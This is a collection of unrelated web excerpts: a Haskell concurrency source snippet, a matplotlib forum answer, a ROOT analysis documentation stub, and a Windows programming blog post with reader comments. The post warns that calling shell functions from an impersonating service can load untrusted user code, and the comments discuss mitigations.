canWrite withOut readB sealed seal = readOut (OutBasket readOrEnd) `finally` liftBase (STM.atomically seal) where readOrEnd = (Just <$> readB) <|> (do b <- STM.readTVar sealed STM.check b return Nothing ) {-# INLINABLE withBuffer #-}
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http://hackage.haskell.org/package/streaming-concurrency-0.3.1.3/docs/src/Streaming.Concurrent.html
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refinedweb
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It appears when I use add_subplot method to add a plot
> to a Figure object that it is NOT semi-logarithmic if I
> use semilogy method later.
Works for me...
import matplotlib.numerix as nx
from pylab import figure, show
fig = figure()
ax = fig.add_subplot(111)
x = nx.arange(0.01, 5.0, 0.01)
y = nx.exp(-x)
ax.semilogy(x,y)
show()
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https://discourse.matplotlib.org/t/how-add-semilogy-plot-to-a-figure-object/4179
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CC-MAIN-2019-51
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en
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refinedweb
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#include <TObject.h>
#include <TSystem.h>
#include <TROOT.h>
#include <TFile.h>
Go to the source code of this file.
Correct measured tracklet distributions using MC. The flags select how to do the correction. It is a bit mask of options.
The input is two files generated by running AliTrackletTaskMulti on real and simulated data. The files are expected to be in trdt.root for real data and trmc.root for simulated data.
Definition at line 1670 of file SimpleCorrect.C.
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http://alidoc.cern.ch/AliPhysics/v5-09-05-01-rc1/_correct_8_c.html
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CC-MAIN-2019-51
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refinedweb
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My initial reaction to this question was to say, "I don't know if I'd call it wrong, but I'd call it highly inadvisable."
I'd like to revise my guidance.
It's flat-out wrong, at least in the case where you call it while impersonating.
The registry key
HKEY_ is bound to the current user at the time the key is first accessed by a process:
The mapping between HKEY_
CURRENT_and HKEY_ USER USERSis per process and is established the first time the process references HKEY_ CURRENT_. The mapping is based on the security context of the first thread to reference HKEY_ USER CURRENT_. If this security context does not have a registry hive loaded in HKEY_ USER USERS, the mapping is established with HKEY_ USERS\. After this mapping is established it persists, even if the security context of the thread changes. .Default
Emphasis mine.
This means that if you impersonate a user, and then access
HKEY_, then that binds
HKEY_ to the impersonated user. Even if you stop impersonating, future references to
HKEY_ will still refer to that user.
This is probably not what you expected.
The shell takes a lot of settings from the current user. If you impersonate a user and then call into the shell, your service is now using that user's settings, which is effectively an elevation of privilege: An unprivileged user is now modifying settings for a service. For example, if the user has customized the Print verb for text files, and you use
ShellExecute to invoke the
Similarly, the user might have a per-user registered copy hook or namespace extension, and now you just loaded a user-controlled COM object into your service.
In both cases, this is known to insiders as hitting the jackpot.
Okay, so what about if you call
ShellExecute or some other shell function while not impersonating? You might say, "That's okay, because the current user's registry is the service user, not the untrusted attacker user." But look at that sentence I highlighted up there. Once
HKEY_ get bound to a particular user, it remains bound to that user even after impersonation ends. If somebody else inadvisedly called a shell function while impersonating, and that shell function happens to be the first one to access
HKEY_, then your call to a shell function while not impersonating will still use that impersonated user's registry. Congratulations, you are now running untrusted code, and you're not even impersonating any more!
So my recommendation is don't do it. Don't call shell functions while impersonating unless the function is explicitly documented as supporting impersonation. (The only ones I'm aware of that fall into this category are functions like
SHGetFolderPath which accept an explicit token handle.) Otherwise, you may have created (or in the case of copy hooks, definitely created) a code injection security vulnerability in your service.
Ouch. Does this also affect "normal" (ie non-service) programs? Cause then I really need to add code accessing HKCU in all my 'main' functions to make sure no external code gets around to do that before me.
This sounds like a thing which needs to be blocked, given that the behaviour is not only inconsistent, but in the best case counter-intuitive and in the worst case places the machine's security into a completely unknown state.
Most applications access HKCU on startup (to read settings, etc), so this will not be a problem.
@alegr1
If this is indeed an issue I'd rather add explicit code accessing HKCU (and comment it appropriately) than relying on the implicit access from loading settings or other stuff. At least for the code I write myself, I prefer to keep it safe by design instead of 'safe by luck' ;)
Also I worry that accessing environment variables does not need HKCU so I could get (for example) into the current users %AppData% without freezing HKCU on that user.
@alger1 -> Most SERVICE applications do not access HKCU, ever.
So, if I'm writing a Service application (I have a few), should just intentionally access HKCU on service start, just to make sure some third party component (or other future developer) doesn't accidentally reference HKCU under impersonation?
Never mind my comment about environment variables, I was thinking too much about what could go wrong. Relying on environment variables representing the current user is in itself probably not a good idea from a security POV.
Why doesn't Windows establish the link on process creation instead of waiting for the first access? I can't imagine it being that expensive.
@Cherry: Meh. If you think you're going to hit the problem, you can do it yourself at process startup time.
There should be a DisableProcessHkeyCurrentUser() which makes your program abort and dump core if anything on your process ever tries to establish that mapping. Impersonating services could call that function as the first thing on their wWinMain and not have to worry about this issue anymore.
(In before someone reports that one of these crazy inject-into-everything DLLs calls into the shell for some inane reason.)
I understand that. I wasn't compaining, I was asking "why", that is, asking for the reasoning. After all, the reason I enjoy reading this block is that many "why" questions are being answered here.
(The last comment was directed to Joshua. And it should have been "blog", not "block", of course.)
It would be useful if Microsoft provided a tool to audit compiled services for statically-linked calls to unapproved / unsupported Windows API calls from a service. Obviously, this wouldn't catch anyone intentionally dodging this tool (e.g. via LoadLibrary/GetProcAddress), but would help catch many cases.
In this case, it would be trivial for me to load the compiled EXE in Dependency Walker and see that it is statically linked to SHFileOperation in shell32.dll. An automated tool could flag this any many other questionable API calls, including ones like CreateWindow(Ex), simply by checking these links. Any linked 3rd-party DLLs would also be checked.
A problematic case would be unapproved COM objects: CoCreateInstance itself isn't bad; some COM objects are OK to use from a service. Perhaps a dynamic mode of this verification tool could be used to shim the COM APIs and check class/interface IDs against a blacklist or whitelist. (And also perform the above linkage checks on any dynamically-loaded DLL. While you're at it, you could shim GetProcAddress as well.)
Or maybe I can pose a different question: how does Microsoft ensure no dangerous API calls creep into any of their own services? (Surely they don't depend on a 100% manual process of code reviews?)
Cesar: Windows does allow you to substitute a key for one of the root keys using the RegOverridePredefKey function. This function is really designed to allow installers to put a self-registering library into a sandbox and detect what it did, but you could certainly use it to put your own canary HKEY_CURRENT_USER key in place. If you want code to fail you just need to deny all rights to create subkeys of the key you substitute.
experienced a similar problem with a Windows service that hosted a WCF service (which was called with impersonation)… the WCF methods would use a logging framework defined in the app.config.
it was reported that the service would occasionally stop working, and after some investigation, it was identified that this only occurred after windows updates caused a reboot. When it had happened previously, it was always restarted and then troubleshot by a local admin (thus the "first call" was by someone who had access to the app.config file). This would work until the next reboot.
quick change that it would log on app startup (under the service account), and it never happened again.
TL;DR: not just the registery, but potentially also config files (app.config/etc)
[Such a tool would kick way too many false positives: Your EXE links to a DLL, and that DLL links to SHFileOperation. But the EXE doesn't use the DLL in a way that leads to SHFileOperation. The tool doesn't know that, though. -Raymond]
Unless the tool requires symbols so it can study the call fan-out. Then you only get a handful of false positives.
@James Johnston: CreateWindowEx is normal/fine for a service (message-only window). I've never done that one, but I've done GDI to HBITMAP a few times.
@Mike Dimmick: Oh my that use of RegOverridePredefKey is genius.
The hkey binding issue can be mitigated if your service calls RegDisablePredefinedCacheEx first thing upon startup. (Since the API toggles a process-wide setting, don't use the API if you don't own the entire process.)
That of course doesn't change Raymond's guidance; don't use the shell in a service.
Jeffrey Tippet: It looks like RegDisablePredefinedCache is more appropriate for this situation because it only affects HKCU. RegDisablePredefinedCacheEx is overkill because it affects all predefined keys.
@Gabe: RegDisablePredefinedCache is less appropriate because it fails to affect HKEY_CLASSES_ROOT and HKEY_CURRENT_USER_LOCAL_SETTINGS.
The documentation specifically says "Services that use impersonation should call RegDisablePredefinedCacheEx before using predefined registry handles."
@Cherry: Like Wyatt said above, most service do not need HKCU at all, and for good reason.
Imagine if your service needs HKCU hive and it is somehow running as a user that is on roaming profile. If the service is not started as "Automatic (Delayed)" the boot time would have been lengthened while waiting for the HKCU hive to load.
I do hope the windows header file can change impersonation related APIs ( msdn.microsoft.com/…/cc246062.aspx ) into macro that sets some flags before calling them, then make some "unsafe to call within impersonation context" APIs generate compiler warnings when seeing the flag.
Never mind… on a second thought it would be too much work and possibly result in incomplete list (say, what if new API that's not safe from impersonation is introduced but forgotten to add the warning directive? The users could simply assume there's no problem calling that function).
[It wouldn't help if the impersonation and the unsafe call are in separate functions. Or if they are in the same function, but the impersonation and unsafe calls are in separate "if" blocks that happen never to be both true at the same time due to external factors not visible to the compiler. -Raymond]
For the first case, I wonder if C++ would introduce function to relay warning directive metadata to callers, so people use those libraries can see the warnings while writing.
Maybe it has little use for 3rd party libraries (as they'll probably just suppress all warnings to avoid looking ugly), but could be good for internal built shared libraries. (In my old company, the shared library that contains most non-customizable business logic is maintained by a core team. The other teams just get the compiled libraries only. Those teams can see the comments in XML doc, but warnings written there were not verbose enough and could be unintentionally ignored)
@JamesJohnston
How would you catch a LoadLibrary call for shell32 and then the call to SHFileOperation through GetProcAddress?
Really, ultimately, everyone wants bug-free, crash proof programs.
This isn't Pokémon, we don't need to catch them all.
There is a subset of Windows.h that is valid (supported) from services. By having a #define for that, and limiting down to the subset, you'd create an actionable red-squiggle. The third party libraries aren't helped, but nobody cares. The third party libraries can be broken.
There is a subset of Windows.h that is valid (supported) from an impersonated context. By having a separate #define for that, and limiting down to the subset, you'd create actionable red-squiggles. Again, third party libraries wouldn't be flagged, and again nobody cares.
I can't act on a third party library being broken, and that library can be changed out from under me by another app. Even if I have a private copy, all I can do is report the bug. I can't act on it.
And so they don't matter — similarly GetProcAddr doesn't matter.
Basically, it's the same as the argument for #define STRICT. #define STRICT can't catch problems in third party libraries, either. But it gives you the red squiggles in your own code, so that you can correct your own code. You can't be sure everyone else's code is correct, but at least you can know your own code is.
I think that's the goal here — to report the issue, and make sure it is adequately communicated to the developer, at build time, in the code that the developer directly controls. Opt-in (so it doesn't break existing code).
@Dave Bacher: I think Raymond's argument is that when false positive is too high, everyone would just ignore the warning. And I agree with that.
While the compiler could help detecting (like what they do to detect unused variables, but perhaps in more complicated way), this opens up a new category of "detective works" for compiler to do. And of the list of "function properties" to consider have context validation on, I think the check on "thread safe functions" are on higher priority.
@Cube 8: You could have a dynamic version of the tool hook those APIs. But the main reason for the tool would not be to detect explicit attempts to avoid said tool. If you are trying to work around the tool, you are probably not going to use it in the first place.
Personally, most of the API calls I make are statically linked, and I only use LoadLibrary/GetProcAddress for newer APIs where I'm also maintaining a fall-back option for Windows XP. This isn't the majority of calls. A simple "grep" of the code for GetProcAddress would yield a manageable list and could be inspected by hand.
I really like the idea that @Dave Bacher proposes of having a #define to eliminate the APIs unsupported from services. It's probably a better solution than I propose and would be easy to use – not requiring a special tool. Selection of 3rd-party libraries by the developer can be limited to those that also use the #define.
I don't think I agree with the "why bother? too many false positives" perspective. You could make the same argument against compiler warnings. Sure – maybe what you were doing was safe in that particular case – but the compiler wasn't sure, and the fix is easy. Some developers fall into the trap of ignoring compiler warnings, and suddenly we have "too many false positives." Professional developers will go in and fix the warnings – even the "false positive" warnings – so that we have zero warnings.
Eliminating the problematic imports in your own binary should be easy and essential. If you link with a 3rd-party DLL that is kicking too many false positives, maybe you should contact your vendor and make sure they are really false positives… To me, excessive false positives would be a sign of some badly-needed refactoring and shouldn't be used as an excuse to ignore the problem.
@JamesJohnston: "You could have a dynamic version of the tool…"
Like 'Application Verifier'?
I just searched a bunch of my source code for the past few years. Found an instance of SHFileOperation that does run in a service context, but I'm >99% certain there's no impersonation. The reason I called it was that I needed to delete a directory hierarchy. The MSDN doc for RemoveDirectory recommends SHFileOperation for that purpose. Using SHFileOperation seemed better than writing custom code to recursively delete files and directories, or to shell out to "rd /s /q dirname"…
We had some surprising bugs caused by this for some time, luckily it hadn't manifested as a security issue – but I wasted weeks until I stumbled into RegDisablePredefinedCacheEx.
Definitely something that should be documented better. E.g. In the .Net or WINAPI docs, inlined into any documentation about writing a service. Not only would that mitigate security issues, but also headaches.
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https://blogs.msdn.microsoft.com/oldnewthing/20141121-00/?p=43563
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CC-MAIN-2018-26
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refinedweb
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